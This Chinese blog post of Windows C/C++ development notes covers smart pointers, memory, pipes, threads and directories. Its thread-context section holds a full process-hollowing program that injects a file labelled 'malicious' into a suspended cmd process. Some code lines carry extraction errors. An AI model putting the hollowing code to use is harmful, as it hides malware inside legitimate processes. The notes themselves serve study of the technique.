【c/c++ 】Windows 开发笔记[三]

admin 2024年9月13日02:19:41评论12 views字数 22609阅读75分21秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:23785

声明:仅供学习参考,请勿用作违法用途

目录

  • 智能指针

  • 线程上下文

  • 错误处理

  • 内存分配

  • 映射取消

  • named_pipe

  • 线程操作

  • 线程/进程优先级

  • 目录操作

智能指针

delete

#include <iostream>
#include <memory>
#include<windows.h>
class MyClass {
public:
    MyClass() { std::cout << "MyClass constructor called." << std::endl; }
    ~MyClass() { std::cout << "MyClass destructor called." << std::endl; }
    void printMessage() std::cout << "Hello from MyClass!" << std::endl; }
};

int main() {
    // 使用 unique_ptr 管理 MyClass 对象
    MyClass* ptr=new MyClass();
    ptr->printMessage();
    //delete(ptr);
    return 0;
}

unique_ptr

#include <iostream>
#include <memory>

class MyClass {
public:
    MyClass() { std::cout << "MyClass constructor called." << std::endl; }
    ~MyClass() { std::cout << "MyClass destructor called." << std::endl; }
    void printMessage() std::cout << "Hello from MyClass!" << std::endl; }
};

int main() {
    // 使用 unique_ptr 管理 MyClass 对象
    std::unique_ptr<MyClass> ptr(new MyClass());
    ptr->printMessage();

    // unique_ptr 不能被复制,但可以通过移动语义转移所有权
    std::unique_ptr<MyClass> ptr2 = std::move(ptr);
    if (!ptr) {
        std::cout << "ptr is now null." << std::endl;
    }
    if (ptr2) {
        ptr2->printMessage();
    }
    return 0;
}
//离开作用域,对象被销毁,内存被释放

shared_ptr

#include <iostream>
#include <memory>

class House {
public:
    House(const std::string& address) : address_(address) {
        std::cout << "House at " << address << " created." << std::endl;
    }
    ~House() {
        std::cout << "House at " << address_ << " destroyed." << std::endl;
    }
private:
    std::string address_;
};

int main() {
    std::shared_ptr<House> house1(new House("123 Main St"));
    // House at 123 Main St created.

    {
        std::shared_ptr<House> house2 = house1;
        // 引用计数现在是2

        std::cout << "House use count: " << house1.use_count() << std::endl;
    } // house2 离开作用域,引用计数减1

    std::cout << "House use count after house2 is destroyed: " << house1.use_count() << std::endl;

    return 0;
    // house1 离开作用域,House 对象被销毁
}

weak_ptr

#include <iostream>
#include <memory>

class B;

class A {
public:
    A() { std::cout << "A constructor called." << std::endl; }
    ~A() { std::cout << "A destructor called." << std::endl; }
    std::shared_ptr<B> b_ptr;
};

class B {
public:
    B() { std::cout << "B constructor called." << std::endl; }
    ~B() { std::cout << "B destructor called." << std::endl; }
    std::weak_ptr<A> a_ptr;
};

int main() {
    std::shared_ptr<A> a(new A());
    std::shared_ptr<B> b(new B());

    a->b_ptr = b;
    b->a_ptr = a;

    return 0;
}

上面代码中的weak_ptr解决了循环引用导致计数非零从而不能释放内存

#include <iostream>
#include <memory>
using namespace std;
class Book {
public:
    Book(const std::string& title) : title_(title) {
        std::cout << "Book " << title << " created." << std::endl;
    }
    ~Book() {
        std::cout << "Book " << title_ << " destroyed." << std::endl;
    }
private:
    std::string title_;
};

int main() {
    std::shared_ptr<Book> book1(new Book("C++ Primer"));
    std::weak_ptr<Book> bookWeak = book1;
    cout << book1.use_count() << endl;
    std::shared_ptr<Book> book2 = bookWeak.lock();
    if (book2) {
        std::cout << "Book weak_ptr locked successfully." << std::endl;
    }
    else {
        std::cout << "Book weak_ptr failed to lock." << std::endl;
    }
    cout << book1.use_count() << endl;

    book1.reset(); // 销毁 Book1 对象
    book2.reset();// 销毁 Book2 对象,此时触发:Book C++ Primer destroyed.
    cout << book1.use_count() << endl;
    // 尝试再次锁定 weak_ptr
    std::shared_ptr<Book> book3 = bookWeak.lock();
    if (book3) {
        std::cout << "Book weak_ptr locked successfully." << std::endl;
    }
    else {
        std::cout << "Book weak_ptr failed to lock, book destroyed." << std::endl;
    }

    return 0;
}

weak_ptr不增加计数,由lock创建出shared_ptr时才增加计数,当计数为0时销毁,此时获取shared_ptr失败

相关简介:

原生的newdelete操作符是C++语言的一部分,它们提供了基本的内存分配和释放功能。然而,原生的newdelete操作符不会自动提供额外的功能来帮助管理内存的生命周期。这是因为C++的设计哲学之一就是给予程序员更多的控制权,同时也意味着程序员需要承担更多责任来管理资源。

智能指针的作用就在于提供了一种机制,使得内存的管理和释放变得更加自动化。智能指针本身是一个类模板,它包含了对所管理对象的引用计数和其他元数据。这些元数据用于跟踪有多少智能指针实例持有对同一块内存的所有权。

当你创建一个智能指针时,它会存储一个指向动态分配对象的指针,并且在其析构函数中调用delete来释放内存。这样,当智能指针离开作用域或者被显式销毁时,它就会自动释放它所管理的内存。这也就是所谓的RAII(Resource Acquisition Is Initialization)模式的应用——资源在对象创建时获取,在对象析构时释放。

原生的new操作符并不提供类似的功能,因为它只是一个简单的内存分配器。如果要在new操作符中直接添加析构函数的行为,那么这就改变了new操作符的基本语义,并且可能引入不必要的复杂性。此外,这样的改变可能会破坏现有的代码和编译器优化策略。

线程上下文

傀儡进程中经常用到,即修改挂起主线程上下文并重写Headers和SectionHeaders

BOOL bRet = CreateProcessA(
    NULL,
    (LPSTR)"cmd",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    &pi);
GetThreadContext(pi.hThread, &ctx);
cout << (PVOID)ctx.Rdx << endl;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &RemoteImageBase, sizeof(PVOID), NULL);
...
ctx.Rcx = (DWORD64)((PUCHAR)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文

0000002FD571C000,这里Rdx存储了PEB的地址,PEB+0x10=ImageBaseAddress

Rcx存储入口点EntryPoint

windbg调试验证

!peb

PEB at 0000002fd571c000 InheritedAddressSpace:    No ReadImageFileExecOptions: No BeingDebugged:            Yes ImageBaseAddress:         00007ff683580000

dt _PEB

ntdll!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged    : UChar +0x003 BitField         : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit +0x003 IsPackagedProcess : Pos 4, 1 Bit +0x003 IsAppContainer   : Pos 5, 1 Bit +0x003 IsProtectedProcessLight : Pos 6, 1 Bit +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit +0x004 Padding0         : [4] UChar +0x008 Mutant           : Ptr64 Void +0x010 ImageBaseAddress : Ptr64 Void

dps 0000002fd571c010

00007ff6`83580000

附傀儡进程

#include <stdio.h>
#include <Windows.h>
#include<iostream>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
using namespace std;
int main(int argc, wchar_t* argv[])
{
    // 定义变量和结构体
    IN PIMAGE_DOS_HEADER pDosHeaders;
    IN PIMAGE_NT_HEADERS pNtHeaders;
    IN PIMAGE_SECTION_HEADER pSectionHeaders;
    IN PVOID FileImage;
    IN HANDLE hFile;
    OUT DWORD FileReadSize;
    IN DWORD dwFileSize;
    IN PVOID RemoteImageBase;
    IN PVOID RemoteProcessMemory;
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    si.cb = sizeof(si);

    //用于替换的恶意程序
    char path[] = "D:\c_project\dlltest\x64\Debug\a.exe";

    // 创建挂起的进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);

    //读取恶意程序的内容至本进程内存中
    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0NULL);
    dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
    FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
    CloseHandle(hFile);

    //获取恶意程序的文件头信息(Dos头和Nt头)
    pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
    pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

    //获取挂起进程的上下文
    GetThreadContext(pi.hThread, &ctx);
    cout << ctx.Rcx;
    //获取挂起进程的映像基址
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif


    //判断文件预期加载地址是否被占用
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
    {
        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
    }

    //为可执行映像分配内存,并写入文件头
    RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

    //逐段写入
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
        WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
    }

    //将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
    ctx.Rcx = (DWORD64)((PUCHAR)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
    //将eax寄存器设置为注入软件的入口点
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
    /*
    lea eax
    call eax
    */

#endif
    SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
    ResumeThread(pi.hThread); // 恢复挂起线程
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

错误处理

VOID PrintfLastError()
{
 DWORD dwError = GetLastError();
 LPVOID lpBuffer = NULL;
 FormatMessageA(
  FORMAT_MESSAGE_ALLOCATE_BUFFER |
  FORMAT_MESSAGE_FROM_SYSTEM,
  NULL,
  dwError,
  MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
  (LPSTR)&lpBuffer,
  0,
  NULL);
 std::cout << "ErrorMesg -> " << (LPSTR)lpBuffer << std::endl;
 LocalFree(lpBuffer);
}
int main()
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL)
 {
  std::cerr << "OpenProcess Failed" << std::endl;
  PrintfLastError();
  return;
 }
}

FormatMessage():将GetLastError()返回的错误代码转换为可读的文本消息

内存分配

函数 分配内存方式 粒度 场景 释放方式
malloc 从默认堆分配内存 普通内存分配 free
HeapAlloc 从指定堆中分配内存(HeapCreate) 需要手动管理多个堆 HeapFree
VirtualAlloc 分配虚拟内存(按页分配) 特殊需求、精细控制 VirtualFree
new 分配内存并调用构造函数初始化对象 / 面向对象编程语言 delete

new在内部调用malloc来分配内存、malloc会调用HeapAlloc,delete在内部调用free来释放内存

查询属性

#include <iostream>
#include <Windows.h>

int main()
{
 LPVOID lpBuffer = VirtualAlloc(NULL5000, MEM_COMMIT, PAGE_READWRITE);
 //LPVOID lpBuffer = malloc(100);
 if (lpBuffer != NULL)
 {
  MEMORY_BASIC_INFORMATION mbi = { 0 };
  if (!VirtualQuery(lpBuffer, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
  {
   return 0;
  }
  VirtualFree(lpBuffer, 0, MEM_RELEASE);
 }

 return 0;
}
#include <iostream>
#include <string>
#include <Windows.h>

std::string StateToStr(DWORD State)
{
 switch (State) {
 case MEM_COMMIT: return "MEM_COMMIT";
 case MEM_FREE: return "MEM_FREE";
 case MEM_RESERVE: return "MEM_RESERVE";
 defaultreturn "UNKONW_STATE";
 }
}

std::string ProtectToStr(DWORD Protect)
{
 switch (Protect) {
 case PAGE_READONLY: return "PAGE_READONLY";
 case PAGE_READWRITE: return "PAGE_READWRITE";
 case PAGE_EXECUTE: return "PAGE_EXECUTE";
 case PAGE_EXECUTE_READ: return "PAGE_EXECUTE_READ";
 case PAGE_EXECUTE_READWRITE: return "PAGE_EXECUTE_READWRITE";
 case PAGE_NOACCESS: return "PAGE_NOACCESS";
 defaultreturn "UNKNOWN_PROTECT";
 }
}

std::string TypeToStr(DWORD Type)
{
 switch (Type) {
 case MEM_IMAGE: return "MEM_IMAGE";
 case MEM_MAPPED: return "MEM_MAPPED";
 case MEM_PRIVATE: return "MEM_PRIVATE";
 defaultreturn "UNKNOWN_TYPE";
 }
}

int main()
{
 // 进程标识
 DWORD dwPid = 0;
 std::cout << "please input processid ";
 std::cin >> dwPid;

 // 打开进程
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 if (hProcess == NULL)
 {
  std::cout << "OpenProcess Failed" << std::endl;
  return 0;
 }

 // 内存信息
 LPVOID lpBaseAddr = 0;
 MEMORY_BASIC_INFORMATION mbi;
 RtlZeroMemory(&mbi, sizeof(MEMORY_BASIC_INFORMATION));

 while (VirtualQueryEx(hProcess, lpBaseAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
 {
  printf("==============================rn");
  printf("BaseAddress    0x%08xrn", mbi.BaseAddress);
  printf("AllocationBase    0x%08xrn", mbi.AllocationBase);
  printf("AllocationProtect   %srn", ProtectToStr(mbi.AllocationProtect).c_str());
  printf("RegionSize    0x%08xrn", mbi.RegionSize);
  printf("State     %srn", StateToStr(mbi.State).c_str());
  printf("Protect     %srn", ProtectToStr(mbi.Protect).c_str());
  printf("Type     %srn", TypeToStr(mbi.Type).c_str());
  lpBaseAddr = (PUCHAR)mbi.BaseAddress + mbi.RegionSize;
 }

 return 0;
}

堆操作

Heap - GetProcessHeap - HeapCreate - HeapAlloc - HeapReAlloc - HeapFree - HeapDestroy

遍历进程使用的堆

GetProcessHeaps->GetProcessHeaps->HeapWalk
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int printheap() {
 DWORD dwHeapCount = GetProcessHeaps(0NULL);//3
 if (dwHeapCount == NULLreturn 1;

 PHANDLE pHeaps = new HANDLE[dwHeapCount];
 dwHeapCount = GetProcessHeaps(dwHeapCount, pHeaps);
 if (dwHeapCount == NULLreturn 1;
 PROCESS_HEAP_ENTRY entry;
 // 输出堆信息
 for (size_t i = 0; i < dwHeapCount; i++)
 {
  SecureZeroMemory(&entry, sizeof(entry));
  while (HeapWalk(pHeaps[i], &entry))
  {
   if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
    std::cout << (PVOID)entry.lpData << "------" << entry.cbData << std::endl;
   }
  }
 }
 delete[] pHeaps;
}
int main()
{
 // 进程默认堆
 HANDLE hHeap = GetProcessHeap();
 if (hHeap == NULLreturn 1;

 // 申请堆内存
 LPVOID lpBuffer1 = HeapAlloc(hHeap, 010);
 LPVOID lpBuffer2 = HeapAlloc(hHeap, 050);

 // 内存块大小
 std::cout << HeapSize(hHeap, 0, lpBuffer1) << std::endl;
 std::cout << HeapSize(hHeap, 0, lpBuffer2) << std::endl;

 // 释放堆资源
 HeapFree(hHeap, 0, lpBuffer1);
 //HeapFree(hHeap, 0, lpBuffer2);

 // 创建进程堆
 HANDLE hHeap2=HeapCreate(00x1000100);
 LPVOID lpBuffer3 = HeapAlloc(hHeap2, 010);

 printheap();

 return 0;
}

映射取消

#include <windows.h>
#include <psapi.h>
#include <iostream>
using namespace std;
typedef NTSTATUS(NTAPI* PFN_ZwUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID BaseAddress
    )
;
typedef int(*add)(int,int);
void freeAddress(PVOID address) {
    HMODULE hModules[1024];
    HANDLE hProcess = GetCurrentProcess();
    DWORD cbNeeded;

    // 枚举进程中的模块
    if (EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) {
        for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
            MODULEINFO modInfo;
            GetModuleInformation(hProcess, hModules[i], &modInfo, sizeof(modInfo));
            // 检查地址是否在模块的地址范围内
            if (address >= modInfo.lpBaseOfDll && address < (void*)((char*)modInfo.lpBaseOfDll + modInfo.SizeOfImage)) {
                TCHAR szModName[MAX_PATH];
                if (GetModuleFileNameEx(hProcess, hModules[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
                    std::wcout << L"Address " << address << L" belongs to module: " << szModName << std::endl;
                    PFN_ZwUnmapViewOfSection ZwUnmapViewOfSection = (PFN_ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwUnmapViewOfSection");
                    add func1 = (add)GetProcAddress((HMODULE)modInfo.lpBaseOfDll, "aa");
                    cout << func1(229) << endl;

                   NTSTATUS status = ZwUnmapViewOfSection(hProcess, address);
                   add func2 = (add)GetProcAddress((HMODULE)modInfo.lpBaseOfDll, "aa");//报错
                }
                break;
            }
        }
    }
}

int main() {
   HINSTANCE library = LoadLibraryA("D:\c_project\dlltest\x64\Debug\Dll1.dll");
   add func=(add) GetProcAddress(library, "aa");
   cout << func(229) << endl;
   freeAddress((PUCHAR)library +0x520);
    system("pause");
    return 0;
}

此例程从指定进程的虚拟地址空间中取消映射包含 BaseAddress 的节的整个视图,即使 BaseAddress 未指向视图的开头也是如此,因此可以直接将传进来的address取消映射。取消映射后由于dll计数此时不为0(未使用FreeLibrary),因此该dll仍然被记录,但是对应的内存地址已被破坏,无法继续使用

【c/c++ 】Windows 开发笔记[三]

named_pipe

socket适合主机间通信,而管道适合用于进程间通信

#include <iostream>
#include <Windows.h>

#define PIPE_NAME L"\\.\pipe\myPipe"

int main()
{
 //连接命名管道
 HANDLE hNamedPipe = CreateFile(
  PIPE_NAME,
  GENERIC_READ | GENERIC_WRITE,
  0,
  NULL,
  OPEN_EXISTING,
  NULL,
  NULL
 );
 if (hNamedPipe == INVALID_HANDLE_VALUE)
 {
  std::cout << "CreateNamedPipe ErrorCode -> " << GetLastError() << std::endl;
  return 0;
 }

 //接受服务消息
 CHAR szBuffer[0xFF] = { 0 };
 DWORD dwRead = 0;
 ReadFile(hNamedPipe, szBuffer, sizeof(szBuffer), &dwRead, NULL);
 std::cout << szBuffer << std::endl;

 //发送服务消息
 DWORD dwWrite = 0;
 char szBuffer1[] = "Hello1";
 WriteFile(hNamedPipe, szBuffer1, sizeof(szBuffer1), &dwWrite, NULL);

 //清理资源
 CloseHandle(hNamedPipe);

 return 0;
}
#include <iostream>
#include <Windows.h>

#define PIPE_NAME L"\\.\pipe\myPipe"

int main()
{
 //创建命名管道
 HANDLE hNamedPipe = CreateNamedPipe(
  PIPE_NAME,
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
  PIPE_UNLIMITED_INSTANCES,
  4096,
  4096,
  NMPWAIT_USE_DEFAULT_WAIT,
  NULL);
 if (hNamedPipe == INVALID_HANDLE_VALUE)
 {
  std::cout << "CreateNamedPipe ErrorCode -> " << GetLastError() << std::endl;
  return 0;
 }

 //等待客户连接
 std::cout << "Waiting for client Connection" << std::endl;
 BOOL bRet = ConnectNamedPipe(hNamedPipe, NULL);
 if (!bRet)
 {
  std::cout << "ConnectNamedPipe ErrorCode -> " << GetLastError() << std::endl;
  CloseHandle(hNamedPipe);
  return 0;
 }
 std::cout << "Client Connected" << std::endl;

 //发送客户消息
 DWORD dwWrite = 0;
 char szBuffer[] = "Hello2";
 WriteFile(hNamedPipe, szBuffer, sizeof(szBuffer), &dwWrite, NULL);

 //接受客户消息
 CHAR szBuffer1[0xFF] = { 0 };
 DWORD dwRead = 0;
 ReadFile(hNamedPipe, szBuffer1, sizeof(szBuffer1), &dwRead, NULL);
 std::cout << szBuffer1 << std::endl;

 //清理资源
 CloseHandle(hNamedPipe);

 return 0;
}

线程操作

#include <iostream>
#include <windows.h>

HANDLE hMutex = 0;
DWORD g_Num = 0;

DWORD WINAPI WorkThread(LPVOID lp)
{
 for (size_t i = 0; i <(size_t) lp; i++)
 {
  WaitForSingleObject(hMutex, INFINITE);
  g_Num++;
  ReleaseMutex(hMutex);
 }
 return 0;
}


int main()
{
 int count = 3;
 hMutex = CreateMutexA(NULL, FALSE, (LPCSTR)"coleak");
 if (GetLastError() == ERROR_ALREADY_EXISTS)
 {
  MessageBox(NULLL"禁止多开"L"错误", MB_OKCANCEL);
  return 0;
 }
 HANDLE* hThread = new HANDLE[count];
 for (int i = 0; i < count; i++) {
  hThread[i] = CreateThread(NULL0, WorkThread, (LPVOID)((i+1)*100000), 0NULL);
 }
 DWORD dwTime = WaitForMultipleObjects(count, hThread, TRUE, -1);
 HANDLE hThread2 = CreateRemoteThread(
  GetCurrentProcess(),
  NULL,
  0,
  WorkThread,
  (LPVOID)100000,
  CREATE_SUSPENDED,
  NULL);
 if (hThread2 == NULLreturn 0;
 ResumeThread(hThread2);
 DWORD dwTime2 = WaitForSingleObject(hThread2, (DWORD)1000);

 CloseHandle(hMutex);

 std::cout << g_Num << std::endl;

 return 0;
}

CreateMutexA->WaitForSingleObject->ReleaseMutex限制竞态条件和多开

线程/进程优先级

进程优先级类

进程优先级类定义了一个进程的基本优先级范围。Windows 会为每个进程分配一个优先级类,不同的类对应不同的调度策略。Windows 支持以下几种进程优先级类:

  1. IDLE_PRIORITY_CLASS
    • 描述:这个优先级类表示系统空闲时才执行的进程。它的优先级很低,适用于那些不会影响系统性能的后台任务。
    • 使用场景:用于文件备份、病毒扫描等低优先级任务。
  2. BELOW_NORMAL_PRIORITY_CLASS
    • 描述:这个优先级低于正常,但高于空闲优先级,适用于非关键的后台任务。
    • 使用场景:资源消耗较少,但仍需比空闲进程更频繁执行的任务。
  3. NORMAL_PRIORITY_CLASS
    • 描述:这是大多数进程的默认优先级。处于这个优先级类的进程与系统中其他正常运行的进程公平地共享 CPU 资源。
    • 使用场景:普通应用程序,如文字处理软件、网络浏览器。
  4. ABOVE_NORMAL_PRIORITY_CLASS
    • 描述:比正常优先级稍高,但低于高优先级类。适用于需要比常规进程更多的处理时间,但不需要过度占用系统资源的任务。
    • 使用场景:比普通应用更需要资源的任务,如视频播放、音频编辑等。
  5. HIGH_PRIORITY_CLASS
    • 描述:这个优先级类的进程会获得比大多数普通进程更多的 CPU 资源,但仍然低于实时优先级进程。适合那些需要迅速响应的任务。
    • 使用场景:需要快速响应的应用,如音频、视频处理,网络游戏。
  6. REALTIME_PRIORITY_CLASS
    • 描述:实时优先级类是系统中最高的优先级,优先于所有其他进程。该类进程几乎垄断 CPU 时间,适用于对延迟非常敏感的任务。
    • 注意:滥用此优先级可能导致系统响应变慢或冻结,因为系统中的其他进程将很难获得 CPU 时间。
    • 使用场景:实时数据采集、控制系统等。

线程优先级

线程优先级在进程优先级类的基础上进一步细化,控制同一进程内的线程调度顺序。每个线程可以有以下优先级:

  1. THREAD_PRIORITY_LOWEST
    • 描述:最低的线程优先级,适合需要很少 CPU 时间的任务。
  2. THREAD_PRIORITY_BELOW_NORMAL
    • 描述:比正常优先级低一档,适合需要较少资源的后台任务。
  3. THREAD_PRIORITY_NORMAL
    • 描述:这是大多数线程的默认优先级,适合一般的计算任务。
  4. THREAD_PRIORITY_ABOVE_NORMAL
    • 描述:比正常优先级高一档,适用于较高资源需求的任务。
  5. THREAD_PRIORITY_HIGHEST
    • 描述:最高的非实时优先级,适合需要迅速完成的任务。
  6. THREAD_PRIORITY_TIME_CRITICAL
    • 描述:这是最高的线程优先级。线程会尽可能地抢占 CPU 资源,只适合对时间敏感的任务。
    • 注意:滥用此优先级可能导致其他线程被长期阻塞。

进程与线程优先级的关系

进程优先级类确定了进程中线程的基础优先级范围,而线程优先级则是在该范围内的细分。不同进程优先级类对应的线程优先级值在操作系统中的实现细节如下:

  • 对于 IDLE_PRIORITY_CLASS 进程,线程的实际优先级范围非常低。
  • 对于 NORMAL_PRIORITY_CLASS 进程,线程的优先级则在中等范围内。
  • 对于 HIGH_PRIORITY_CLASSREALTIME_PRIORITY_CLASS 进程,线程可以拥有非常高的优先级,从而几乎垄断 CPU 资源。

通过合理地调整进程和线程的优先级,可以优化应用程序的响应速度和性能,避免 CPU 资源的过度消耗或滥用。

代码案例

#include <windows.h>
#include <stdio.h>
#include<iostream>
using namespace std;
DWORD WINAPI ThreadFunction(LPVOID param) {
    int threadNum = (int)param;
    for (int i = 0; i < 90000; i++) {
        // 模拟计算密集型任务
        for (int j = 2; j < i; j++) {
            if (i % j == 0)
                break;
        }
    }
    printf("线程 %d 迭代完成,优先级:%d,时间:%dn", threadNum, GetThreadPriority(GetCurrentThread()), time(NULL));
    return 0;
}

void CreateThreadWithPriority() {
    int count = 100;
    HANDLE* hThread = new HANDLE[count];
    for (int i = 0; i < count; i++) {
        hThread[i] = CreateThread(NULL0, ThreadFunction, (LPVOID)(i), 0NULL);

        if (hThread[i] != NULL && i==90) {
            // 设置线程优先级
            SetThreadPriority(hThread[i], THREAD_PRIORITY_HIGHEST);
        }
        else {
            SetThreadPriority(hThread[i], THREAD_PRIORITY_LOWEST);

        }
    }
}
int main() {
    // 设置进程优先级
    SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS);
    cout << GetPriorityClass(GetCurrentProcess()) << endl;

    // 创建低优先级线程
    CreateThreadWithPriority();

    // 等待用户按任意键结束
    getchar();

    return 0;
}

32 线程 90 迭代完成,优先级:2,时间:1726137175 线程 2 迭代完成,优先级:-2,时间:1726137181 线程 10 迭代完成,优先级:-2,时间:1726137181 线程 7 迭代完成,优先级:-2,时间:1726137182 线程 16 迭代完成,优先级:-2,时间:1726137182 线程 9 迭代完成,优先级:-2,时间:1726137182 …

目录操作

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
 TCHAR szBuffer1[MAX_PATH] = { 0 };
 DWORD dwSize = GetCurrentDirectory(MAX_PATH, szBuffer1);
 if (dwSize == NULL)
 {
  system("pause");
 }
 wcout << (wchar_t*)szBuffer1 << endl;
 CONST WCHAR* FileName = L"test.exe";
 WCHAR szBuffer[MAX_PATH] = { 0 };
 DWORD dwLength = SearchPath(
  szBuffer1,
  FileName,
  NULL,
  MAX_PATH,
  szBuffer,
  NULL);

 if (dwLength == NULLreturn 1;

 std::wcout << szBuffer << std::endl;

 // 创建目录
 if (CreateDirectory(L"NewDirectory"NULL) != NULL)
 {
  //ERROR_ALREADY_EXISTS 当文件已存在时,无法创建该文件
  std::wcout << "Create NewDirectory" << std::endl;
  system("pause");
 }

 // 删除目录
 if (RemoveDirectory(L"NewDirectory") != NULL)
 {
  std::wcout << "Remove NewDirectory" << std::endl;
  system("pause");
 }
 return 0;
}

模块目录

#include <iostream>
#include <Windows.h>
#include <Psapi.h>

int main()
{
 // 获取模块基址
 HMODULE hMain = GetModuleHandleA(NULL);
 HMODULE hKe32 = GetModuleHandleA("Kernel32.dll");
 HMODULE hTest = GetModuleHandleA("TEST.dll");

 // 获取模块路径(本进程)
 CHAR szBuffer[MAX_PATH] = { 0 };
 GetModuleFileNameA(hMain, szBuffer, MAX_PATH);
 std::cout << szBuffer << std::endl;

 GetModuleFileNameA(hKe32, szBuffer, MAX_PATH);
 std::cout << szBuffer << std::endl;

 // 获取模块路径(跨进程)
 // GetModuleFileNameEx

 // 获取模块名称
 GetModuleBaseNameA(GetCurrentProcess(), hMain, szBuffer, MAX_PATH);
 std::cout << szBuffer << std::endl;

 GetModuleBaseNameA(GetCurrentProcess(), hKe32, szBuffer, MAX_PATH);
 std::cout << szBuffer << std::endl;

 // 获取进程主模块
 GetProcessImageFileNameA(GetCurrentProcess(), szBuffer, MAX_PATH);
 std::cout << szBuffer << std::endl;

 return 0;
}

文章首发于:渗透测试安全攻防

原文始发于微信公众号(渗透测试安全攻防):【c/c++ 】Windows 开发笔记[三]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日02:19:41
